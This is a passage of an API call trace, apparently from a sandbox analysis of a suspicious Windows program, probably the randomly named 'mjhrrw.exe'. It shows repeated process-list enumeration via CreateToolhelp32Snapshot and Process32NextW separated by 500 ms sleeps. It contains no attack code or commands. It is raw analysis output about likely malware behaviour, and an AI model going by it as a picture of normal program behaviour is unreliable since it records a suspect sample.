th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0268.764] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0268.765] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0268.765] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0268.766] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.766] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0268.767] Process32NextW (in: hSnapshot=0x3a8, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0268.767] CloseHandle (hObject=0x3a8) returned 1 [0268.767] Sleep (dwMilliseconds=0x1f4) [0269.501] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x388 [0269.523] Process32FirstW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0269.524] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0269.524] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0269.525] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0269.526] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0269.526] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0269.527] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0269.528] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0269.528] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0269.529] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0269.529] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0269.530] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.530] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.531] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0269.532] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.532] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.533] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.534] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.534] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.535] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.536] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.536] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.537] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.538] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.539] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0269.539] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.540] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0269.541] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0269.541] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0269.542] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0269.542] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0269.543] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.554] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0269.555] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0269.556] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0269.556] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0269.571] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0269.572] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0269.870] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0269.870] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0269.871] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0269.872] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0269.872] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.873] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0269.874] Process32NextW (in: hSnapshot=0x388, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0269.874] CloseHandle (hObject=0x388) returned 1 [0269.875] Sleep (dwMilliseconds=0x1f4) [0270.767] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x380 [0270.812] Process32FirstW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0270.812] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0270.813] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0270.813] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0270.814] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0270.814] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0270.815] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0270.815] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0270.816] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0270.816] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0270.817] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0270.817] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.818] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.818] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0270.819] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.819] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.820] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.820] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.821] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.821] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.822] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.822] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.823] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.823] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.824] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0270.824] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.825] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0270.826] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0270.826] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0270.827] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0270.827] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0270.827] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, 